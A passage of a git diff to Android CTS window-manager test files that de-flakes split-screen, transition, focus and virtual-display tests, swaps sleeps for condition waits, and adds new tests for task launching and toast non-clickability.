+        tapOnDisplaySync(tapX, tapY, DEFAULT_DISPLAY);
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 2dfd254..5d4efb5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -26,7 +26,6 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
 import static android.server.wm.app.Components.DOCKED_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
@@ -70,6 +69,7 @@
  *     atest CtsWindowManagerDeviceTestCases:SplitScreenTests
  */
 @Presubmit
+@android.server.wm.annotation.Group2
 public class SplitScreenTests extends ActivityManagerTestBase {
 
     private static final int TASK_SIZE = 600;
@@ -96,7 +96,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 71792393)
     public void testStackList() throws Exception {
         launchActivity(TEST_ACTIVITY);
         mAmWmState.computeState(TEST_ACTIVITY);
@@ -118,7 +117,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testNonResizeableNotDocked() throws Exception {
         launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
 
@@ -161,7 +159,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 72956284)
     public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
 
@@ -223,7 +220,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 71792393)
     public void testLaunchToSideMultiple() throws Exception {
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
@@ -249,7 +245,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 73808815)
     public void testLaunchToSideSingleInstance() throws Exception {
         launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
     }
@@ -259,7 +254,6 @@
         launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
     }
 
-    @FlakyTest(bugId = 71792393)
     @Test
     public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
         launchTargetToSide(TEST_ACTIVITY, true);
@@ -405,7 +399,8 @@
              final LockScreenSession lockScreenSession = new LockScreenSession()) {
             for (int i = 0; i < 4; i++) {
                 lockScreenSession.sleepDevice();
-                rotationSession.set(i);
+                // The display may not be rotated while device is locked.
+                rotationSession.set(i, false /* waitDeviceRotation */);
                 lockScreenSession.wakeUpDevice()
                         .unlockDevice();
                 mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
@@ -414,7 +409,6 @@
     }
 
     @Test
-    @FlakyTest
     public void testMinimizedFromEachDockedSide() throws Exception {
         try (final RotationSession rotationSession = new RotationSession()) {
             for (int i = 0; i < 2; i++) {
@@ -432,7 +426,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testRotationWhileDockMinimized() throws Exception {
         launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
 
@@ -461,14 +454,15 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
         // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
         // going home has the correct app transition
         try (final RotationSession rotationSession = new RotationSession()) {
             for (int rotation = ROTATION_0; rotation <= ROTATION_270; rotation++) {
-                rotationSession.set(rotation);
                 launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY);
+                // Set rotation after docked stack exists so the display can be rotated (home may
+                // be fixed-orientation if it is fullscreen).
+                rotationSession.set(rotation);
 
                 if (mIsHomeRecentsComponent) {
                     launchActivity(TEST_ACTIVITY,
@@ -488,8 +482,7 @@
                 // Go home and check the app transition
                 assertNotEquals(TRANSIT_WALLPAPER_OPEN,
                         mAmWmState.getWmState().getDefaultDisplayLastTransition());
-                pressHomeButton();
-                mAmWmState.waitForHomeActivityVisible();
+                launchHomeActivity();
                 mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
 
                 assertEquals(TRANSIT_WALLPAPER_OPEN,
@@ -498,7 +491,6 @@
         }
     }
 
-    @FlakyTest(bugId = 73813034)
     @Test
     public void testFinishDockActivityWhileMinimized() throws Exception {
         launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
@@ -552,7 +544,6 @@
      * Verify split screen mode visibility after stack resize occurs.
      */
     @Test
-    @FlakyTest(bugId = 110276714)
     public void testResizeDockedStack() throws Exception {
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
@@ -581,7 +572,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testDifferentProcessActivityResumedPreQ() {
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
@@ -655,7 +645,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testStackListOrderOnSplitScreenDismissed() throws Exception {
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
@@ -679,25 +668,24 @@
                 expectedHomeStackIndex, homeStackIndex);
     }
 
-    private void launchActivityInDockStackAndMinimize(ComponentName activityName) throws Exception {
+    private void launchActivityInDockStackAndMinimize(ComponentName activityName) {
         launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
     }
 
-    private void launchActivityInDockStackAndMinimize(ComponentName activityName, int createMode)
-            throws Exception {
+    private void launchActivityInDockStackAndMinimize(ComponentName activityName, int createMode) {
         launchActivityInSplitScreenWithRecents(activityName, createMode);
-        pressHomeButton();
-        waitForAndAssertDockMinimized();
+        launchHomeActivityNoWait();
+        waitForAndAssertDockMinimized(activityName);
     }
 
     private void assertDockMinimized() {
         assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
     }
 
-    private void waitForAndAssertDockMinimized() throws Exception {
+    private void waitForAndAssertDockMinimized(ComponentName activityName)  {
         waitForDockMinimized();
         assertDockMinimized();
-        mAmWmState.computeState(TEST_ACTIVITY);
+        mAmWmState.computeState(activityName);
         mAmWmState.assertContainsStack("Must contain docked stack.",
                 WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
@@ -708,13 +696,13 @@
         assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
     }
 
-    private void waitForDockMinimized() throws Exception {
+    private void waitForDockMinimized() {
         mAmWmState.waitForWithWmState(state -> state.isDockedStackMinimized(),
-                "***Waiting for Dock stack to be minimized");
+                "Dock stack to be minimized");
     }
 
-    private void waitForDockNotMinimized() throws Exception {
+    private void waitForDockNotMinimized() {
         mAmWmState.waitForWithWmState(state -> !state.isDockedStackMinimized(),
-                "***Waiting for Dock stack to not be minimized");
+                "Dock stack to not be minimized");
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6923afb..c4c6173 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -16,16 +16,28 @@
 
 package android.server.wm;
 
+import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
+import static android.server.wm.ActivityManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.wm.app.Components.TestActivity.COMMAND_START_ACTIVITIES;
 import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 
 import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
 
 import androidx.test.rule.ActivityTestRule;
-import androidx.test.filters.FlakyTest;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -39,14 +51,15 @@
 
     @Rule
     public final ActivityTestRule<TestActivity2> mTestActivity2Rule =
-            new ActivityTestRule<>(TestActivity2.class);
+            new ActivityTestRule<>(TestActivity2.class, false /* initialTouchMode */,
+                    false /* launchActivity */);
 
     /**
      * Ensures {@link Activity} can only be launched from an {@link Activity}
      * {@link android.content.Context}.
      */
     @Test
-    public void testStartActivityContexts() throws Exception {
+    public void testStartActivityContexts() {
         // Launch Activity from application context.
         getLaunchActivityBuilder()
                 .setTargetActivity(TEST_ACTIVITY)
@@ -85,14 +98,37 @@
                 TEST_ACTIVITY);
     }
 
+    @Test
+    public void testStartActivityTaskLaunchBehind() {
+        // launch an activity
+        getLaunchActivityBuilder()
+                .setTargetActivity(TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setNewTask(true)
+                .execute();
+
+        // launch an activity behind
+        getLaunchActivityBuilder()
+                .setTargetActivity(TRANSLUCENT_ACTIVITY)
+                .setUseInstrumentation()
+                .setIntentFlags(FLAG_ACTIVITY_NEW_DOCUMENT)
+                .setNewTask(true)
+                .setLaunchTaskBehind(true)
+                .execute();
+
+        waitAndAssertActivityState(TRANSLUCENT_ACTIVITY, STATE_STOPPED,
+                "Activity should be stopped");
+        mAmWmState.assertResumedActivity("Test Activity should be remained on top and resumed",
+                TEST_ACTIVITY);
+    }
+
     /**
      * Ensures you can start an {@link Activity} from a non {@link Activity}
      * {@link android.content.Context} when the target sdk is between N and O Mr1.
      * @throws Exception
      */
     @Test
-    @FlakyTest(bugId = 131005232)
-    public void testLegacyStartActivityFromNonActivityContext() throws Exception {
+    public void testLegacyStartActivityFromNonActivityContext() {
         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
                 .setLaunchingActivity(SDK_27_LAUNCHING_ACTIVITY)
                 .setUseApplicationContext(true)
@@ -103,6 +139,48 @@
                 TEST_ACTIVITY);
     }
 
+    /**
+     * <pre>
+     * Assume there are 3 activities (X, Y, Z) have different task affinities:
+     * 1. Activity X started.
+     * 2. X launches 2 activities (Y with NEW_TASK, Z) by {@link Activity#startActivities}.
+     * Expect the result should be 2 tasks: [X] and [Y, Z].
+     * </pre>
+     */
+    @Test
+    public void testStartActivitiesInNewAndSameTask() {
+        final ActivitySessionClient client = createActivitySessionClient();
+        final ActivitySession activity = client.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation()
+                        .setTargetActivity(TEST_ACTIVITY));
+
+        final Intent[] intents = {
+                new Intent().setComponent(NO_RELAUNCH_ACTIVITY)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+                new Intent().setComponent(LAUNCHING_ACTIVITY)
+        };
+
+        final Bundle intentBundle = new Bundle();
+        intentBundle.putParcelableArray(EXTRA_INTENTS, intents);
+        // The {@link Activity#startActivities} cannot be called from the instrumentation
+        // package because the implementation (given by test runner) may be overridden.
+        activity.sendCommand(COMMAND_START_ACTIVITIES, intentBundle);
+
+        // The {@code intents} are started, wait for the last (top) activity to be ready and then
+        // verify their task ids.
+        mAmWmState.computeState(intents[1].getComponent());
+        final ActivityManagerState amState = mAmWmState.getAmState();
+        final int callerTaskId = amState.getTaskByActivity(TEST_ACTIVITY).getTaskId();
+        final int i0TaskId = amState.getTaskByActivity(intents[0].getComponent()).getTaskId();
+        final int i1TaskId = amState.getTaskByActivity(intents[1].getComponent()).getTaskId();
+        client.close();
+
+        assertNotEquals("The activities started by startActivities() should have a different task"
+                + " from their caller activity", callerTaskId, i0TaskId);
+        assertEquals("The activities started by startActivities() should be put in the same task",
+                i0TaskId, i1TaskId);
+    }
+
     public static class TestActivity2 extends Activity {
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
new file mode 100644
index 0000000..3291db1
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.WindowManagerState.WindowState;
+import android.server.wm.app.Components;
+import android.view.WindowManager.LayoutParams;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+@Presubmit
+public class ToastTest extends ActivityManagerTestBase {
+    private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
+    private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
+    private static final long TOAST_TAP_TIMEOUT_MS = 3500;
+    private static final int ACTIVITY_FOCUS_TIMEOUT_MS = 3000;
+
+    /**
+     * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+     * is long and it takes some time to process the broadcast we just sent.
+     */
+    private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+    @Nullable
+    private String mPreviousHiddenApiPolicy;
+    private Map<String, ConditionVariable> mBroadcastsReceived;
+
+    private BroadcastReceiver mAppCommunicator = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+             getBroadcastReceivedVariable(intent.getAction()).open();
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ContentResolver resolver = mContext.getContentResolver();
+            mPreviousHiddenApiPolicy = Settings.Global.getString(resolver,
+                    SETTING_HIDDEN_API_POLICY);
+            Settings.Global.putString(resolver, SETTING_HIDDEN_API_POLICY, "1");
+        });
+        // Stopping just in case, to make sure reflection is allowed
+        stopTestPackage(Components.getPackageName());
+
+        // These are parallel broadcasts, not affected by a busy queue
+        mBroadcastsReceived = Collections.synchronizedMap(new HashMap<>());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_TOAST_DISPLAYED);
+        filter.addAction(ACTION_TOAST_TAP_DETECTED);
+        mContext.registerReceiver(mAppCommunicator, filter);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mAppCommunicator);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putString(mContext.getContentResolver(), SETTING_HIDDEN_API_POLICY,
+                    mPreviousHiddenApiPolicy);
+        });
+        super.tearDown();
+    }
+
+    @Test
+    public void testToastIsNotClickable() {
+        Intent intent = new Intent();
+        intent.setComponent(Components.CLICKABLE_TOAST_ACTIVITY);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS, Components.CLICKABLE_TOAST_ACTIVITY);
+        boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
+                TOAST_DISPLAY_TIMEOUT_MS);
+        assertTrue("Toast not displayed on time", toastDisplayed);
+        WindowManagerState wmState = getAmWmState().getWmState();
+        wmState.computeState();
+        WindowState toastWindow = wmState.findFirstWindowWithType(LayoutParams.TYPE_TOAST);
+        assertNotNull("Couldn't retrieve toast window", toastWindow);
+
+        tapOnCenter(toastWindow.getContainingFrame(), toastWindow.getDisplayId());
+
+        boolean toastClicked = getBroadcastReceivedVariable(ACTION_TOAST_TAP_DETECTED).block(
+                TOAST_TAP_TIMEOUT_MS);
+        assertFalse("Toast tap detected", toastClicked);
+    }
+
+    private ConditionVariable getBroadcastReceivedVariable(String action) {
+        return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index ec666e0..bdfad6b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -39,8 +39,6 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
@@ -58,20 +56,8 @@
  *     atest CtsWindowManagerDeviceTestCases:TransitionSelectionTests
  */
 @Presubmit
-@FlakyTest(bugId = 71792333)
 public class TransitionSelectionTests extends ActivityManagerTestBase {
 
-    @Override
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Transition selection tests are currently disabled on Wear because
-        // config_windowSwipeToDismiss is set to true, which breaks all kinds of assumptions in the
-        // transition selection logic.
-        Assume.assumeTrue(!isWatch());
-    }
-
     // Test activity open/close under normal timing
     @Test
     public void testOpenActivity_NeitherWallpaper() {
@@ -118,7 +104,6 @@
                 false /*slowStop*/, TRANSIT_TASK_OPEN);
     }
 
-    @FlakyTest(bugId = 71792333)
     @Test
     public void testCloseTask_NeitherWallpaper() {
         testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -177,7 +162,6 @@
     // Test task close -- bottom task top activity slow in stopping
     // These simulate the case where the bottom activity is resumed
     // before AM receives its activitiyStopped
-    @FlakyTest(bugId = 71792333)
     @Test
     public void testCloseTask_NeitherWallpaper_SlowStop() {
         testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -223,7 +207,6 @@
                 TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE);
     }
 
-    @FlakyTest(bugId = 71792333)
     @Test
     public void testCloseTask_BottomWallpaper_Translucent() {
         testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -306,13 +289,15 @@
         }
         executeShellCommand(topStartCmd);
 
-        SystemClock.sleep(5000);
-        if (testOpen) {
-            mAmWmState.computeState(topActivity);
-        } else {
-            mAmWmState.computeState(BOTTOM_ACTIVITY);
-        }
-
+        Condition.waitFor("Retrieving correct transition", () -> {
+            if (testOpen) {
+                mAmWmState.computeState(topActivity);
+            } else {
+                mAmWmState.computeState(BOTTOM_ACTIVITY);
+            }
+            return expectedTransit.equals(
+                    mAmWmState.getWmState().getDefaultDisplayLastTransition());
+        });
         assertEquals("Picked wrong transition", expectedTransit,
                 mAmWmState.getWmState().getDefaultDisplayLastTransition());
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
index cbd6816..8faff8d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
@@ -20,23 +20,19 @@
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.server.wm.ActivityManagerTestBase.isDisplayOn;
+import static android.server.wm.ActivityManagerTestBase.waitForOrFail;
 import static android.server.wm.StateLogger.logAlways;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.fail;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
 import android.media.ImageReader;
-import android.os.SystemClock;
 
 import com.android.compatibility.common.util.SystemUtil;
 
-import java.util.function.Predicate;
-
 /**
  * Helper class to create virtual display.
  */
@@ -78,40 +74,29 @@
     int createAndWaitForDisplay() {
         SystemUtil.runWithShellPermissionIdentity(() -> {
             createVirtualDisplay();
-            waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* default */,
-                    true /* on */);
+            waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), true /* wantOn */);
             mCreated = true;
         });
         return mVirtualDisplay.getDisplay().getDisplayId();
     }
 
     void turnDisplayOff() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            mVirtualDisplay.setSurface(null);
-            waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
-                    false /* on */);
-        });
+        mVirtualDisplay.setSurface(null);
+        waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), false /* wantOn */);
     }
 
     void turnDisplayOn() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            mVirtualDisplay.setSurface(mReader.getSurface());
-            waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
-                    true /* on */);
-        });
+        mVirtualDisplay.setSurface(mReader.getSurface());
+        waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), true /* wantOn */);
     }
 
     void releaseDisplay() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            if (mCreated) {
-                mVirtualDisplay.release();
-                mReader.close();
-                waitForDisplayCondition(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
-                        onState -> onState != null && onState == false,
-                        "Waiting for virtual display destroy");
-            }
-            mCreated = false;
-        });
+        if (mCreated) {
+            mVirtualDisplay.release();
+            mReader.close();
+            waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), false /* wantOn */);
+        }
+        mCreated = false;
     }
 
     private void createVirtualDisplay() {
@@ -142,25 +127,12 @@
     }
 
     static void waitForDefaultDisplayState(boolean wantOn) {
-        waitForDisplayState(DEFAULT_DISPLAY /* default */, wantOn);
+        waitForDisplayState(DEFAULT_DISPLAY, wantOn);
     }
 
     private static void waitForDisplayState(int displayId, boolean wantOn) {
-        waitForDisplayCondition(displayId, state -> state != null && state == wantOn,
-                "Waiting for " + ((displayId == DEFAULT_DISPLAY) ? "default" : "virtual")
-                        + " display "
-                        + (wantOn ? "on" : "off"));
-    }
-
-    private static void waitForDisplayCondition(int displayId,
-            Predicate<Boolean> condition, String message) {
-        for (int retry = 1; retry <= 10; retry++) {
-            if (condition.test(isDisplayOn(displayId))) {
-                return;
-            }
-            logAlways(message + "... retry=" + retry);
-            SystemClock.sleep(500);
-        }
-        fail(message + " failed");
+        final String message = (displayId == DEFAULT_DISPLAY ? "default" : "virtual")
+                + " display " + (wantOn ? "on" : "off");
+        waitForOrFail(message, () -> isDisplayOn(displayId) == wantOn);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
index 1d94d30..a790a9a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
@@ -46,6 +46,7 @@
  *     atest CtsWindowManagerDeviceTestCases:VrDisplayTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class VrDisplayTests extends MultiDisplayTestBase {
     private static final int VR_VIRTUAL_DISPLAY_WIDTH = 700;
     private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 900;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index a361011..4886925 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -39,8 +39,8 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
 import android.content.res.Configuration;
@@ -140,7 +140,6 @@
      * - The window which lost top-focus can receive display-unspecified cancel events.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testKeyReceiving() throws InterruptedException {
         final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
                 DEFAULT_DISPLAY);
@@ -148,8 +147,6 @@
         sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_1, DEFAULT_DISPLAY);
 
         assumeTrue(supportsMultiDisplay());
-        // If config_perDisplayFocusEnabled, tapping on a display will not move the focus.
-        assumeFalse(perDisplayFocusEnabled());
         try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
             final int secondaryDisplayId = displaySession.createDisplay(
                     getInstrumentation().getTargetContext()).getDisplayId();
@@ -158,7 +155,13 @@
             sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_2, INVALID_DISPLAY);
             sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_3, secondaryDisplayId);
 
-            primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+            final boolean perDisplayFocusEnabled = perDisplayFocusEnabled();
+            if (perDisplayFocusEnabled) {
+                primaryActivity.assertWindowFocusState(true /* hasFocus */);
+                sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_4, DEFAULT_DISPLAY);
+            } else {
+                primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+            }
 
             // Press display-unspecified keys and a display-specified key but not release them.
             sendKey(ACTION_DOWN, KEYCODE_5, INVALID_DISPLAY);
@@ -175,7 +178,9 @@
             // key events sent to secondary activity would be cancelled.
             secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_5, FLAG_CANCELED);
             secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_7, FLAG_CANCELED);
-            secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_6, FLAG_CANCELED);
+            if (!perDisplayFocusEnabled) {
+                secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_6, FLAG_CANCELED);
+            }
             assertEquals(secondaryActivity.getLogTag() + " must only receive expected events.",
                     0 /* expected event count */, secondaryActivity.getKeyEventCount());
 
@@ -188,7 +193,6 @@
      * Test if a display targeted by a key event can be moved to top in a single-focus system.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testMovingDisplayToTopByKeyEvent() throws InterruptedException {
         assumeTrue(supportsMultiDisplay());
         assumeFalse(perDisplayFocusEnabled());
@@ -241,7 +245,6 @@
         primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
 
         assumeTrue(supportsMultiDisplay());
-        assumeFalse(perDisplayFocusEnabled());
         try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
             final int secondaryDisplayId = displaySession.createDisplay(
                     getInstrumentation().getTargetContext()).getDisplayId();
@@ -316,7 +319,6 @@
      * window on that display.
      */
     @Test
-    @FlakyTest(bugId = 130467737)
     public void testTapNonFocusableWindow() throws InterruptedException {
         assumeTrue(supportsMultiDisplay());
         assumeFalse(perDisplayFocusEnabled());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index 55932cc..390de30 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -16,10 +16,12 @@
 
 package android.server.wm;
 
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.assertEquals;
 
 import android.app.Activity;
@@ -31,8 +33,6 @@
 import android.view.WindowInsets;
 import android.view.WindowManager;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
@@ -48,7 +48,6 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:WindowInputTests
  */
-@FlakyTest
 public class WindowInputTests {
     private final int TOTAL_NUMBER_OF_CLICKS = 100;
